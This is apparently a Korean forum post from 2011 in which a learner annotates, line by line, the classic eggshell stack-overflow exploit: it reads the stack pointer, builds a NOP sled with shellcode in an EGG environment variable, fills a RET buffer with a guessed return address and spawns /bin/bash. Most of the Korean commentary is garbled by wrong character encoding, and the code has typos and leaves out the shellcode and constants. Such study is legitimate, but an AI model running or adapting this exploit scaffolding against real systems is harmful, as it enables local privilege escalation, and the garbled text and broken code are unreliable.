| rkdgh0112 |
½©ÄÚµå °øºÎ´Â ¾ÈÇØºÃ´Âµ¥
±×³É Á¦ ³ª¸§´ë·ÎÀÇ ÇØ¼®À» º¸¿©µå¸±²¾¿ä
½¬¿î°Ç °Ç³Ê¶Ù°í ¾à°£ Çò°¥¸®´Ù ½ÍÀº°Å³ª Áß¿äÇѰÅ
unnsigned long get_esp (void) { // get_esp ¶ó´Â À¯ÀúÇÔ¼öÀÇ Àü¿ª¼±¾ðÀÔ´Ï´Ù.
__asm__("movl %esp, %eax") //.. %esp¿¡ %eax°ªÀ» Áִ°ɷκ¸À̳׿ä
main (int argc, char *argv[]) { //¸ÞÀÎÇÔ¼öÀÇ ¿øÇü ¼±¾ð
char *buff, *ptr, *egg; // buff, ptr,egg º¯¼öµéÀÇ charÇü Æ÷ÀÎÅÍ ¼³Á¤
char ÇüÀ¸·Î ¼³Á¤ÇÏ´ÂÀÌÀ¯ = Æ÷ÀÎÅÍ´Â ¸Þ¸ð¸®Áּұ⶧¹®¿¡ 16Áø¼öÀÇ ¼ýÀÚ¿°ú ¹®ÀÚ¿·Î Ç¥ÇöµÈ´Ù.
long *addr_ptr, addr; // long ÇüÀÇ addr º¯¼ö¼±¾ð°ú ±×ÀÇ Æ÷ÀÎÅÍ ¼±¾ð
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // offsetÀ̶ó´Â º¯¼ö¸¦ default·Î ¼³Á¤, bsize¶ó´Â º¯¼ö¸¦ default·Î ¼³Á¤
int i, eggsize=DEFAULT_EGG_SIZE; // i¶ó´Â º¯¼ö¼±¾ð°ú eggsize¼±¾ð µ¿½Ã¿¡ eggsize¸¦ default_egg_size·Î ÇÔ
¹Ø¿¡ÁÙ ÇϱâÀü¿¡,
if ¹®, else if, else¸ðµÎ ½ÇÇ๮ÀÌ ÇѰ³Àϰæ¿ì¿¡ Áß°ýÈ£¸¦ Á¦¿ÜÇÒ¼öÀÖÀ½
if (argc > 1) bsize = atoi (argv[ 1]);
if (argc > 2) offset = atoi (argv[ 2]);
if (argc > 3) eggsize = atoi (argv[ 3]);
if (!(buff = malloc(bsize))) {
printf ("can't allocate memory.\n");
exit (0);
}
Áï ÀÌ°Ç ÀÔ·ÂÇÑ ÀÎÀÚÀÇ °³¼ö°¡ °¢°¢ 1°³, 2°³, 3°³À϶§ ÀÇ »óȲµéÀ» ÁßÃ¸ÇØ »ç¿ëÇѰÍÀÔ´Ï´Ù.
°á±¹ ÀÔ·ÂÇÑ ÀÎÀÚÀÇ °³¼ö°¡ 1ÀÌ»óÀ̸é 2°³ÀÌ»óÀÎÁöº¸°í 3°³ÀÌ»óÀÎÁöºÁ¼
¸¶Áö¸·¿¡ malloc(bsize)
Áï bsize¿¡ ÇÒ´çµÈ ¸Þ¸ð¸®½ºÅðú buffÀÇ °ªÀÌ °°Áö¾ÊÀ»°æ¿ì,
can't allocate momory ¶ó´Â ¿¡·¯¹®ÀÌ ¹ß»ýÇϵµ·Ï ÇØ³õÀº°ÍÀÌÁÒ.
±×¸®°í ÇÔ¼öÀdz¡¿¡¼± 0À»¹ÝȯÇÕ´Ï´Ù.
if (!(egg = malloc(eggsize))) {
printf("can't allocate memory.\n");
exit (0);
}
¶ÇÇÑ egg°¡ eggsize¿¡ ÇÒ´çµÈ ½ºÅÃ¸Þ¸ð¸®¿Í °°Áö¾ÊÀ¸¸é
À§ÀÇ ¿¡·¯¹®ÀÌ ¶Ç ³ª¿À±¸¿ä.
addr = get_esp() - offset;
printf("using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++_ = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen (shellcode) - 1; i++)
* (ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[ i];
buff[bsize - 1] = '\0';
egg[ eggsize - 1] = '\0';
memcpy (egg, "EGG=", 4);
putenv (egg);
memcpy (buff, "RET=", 4);
putenv (buff);
system("/bin/bash");
} |
2011/02/11 |
|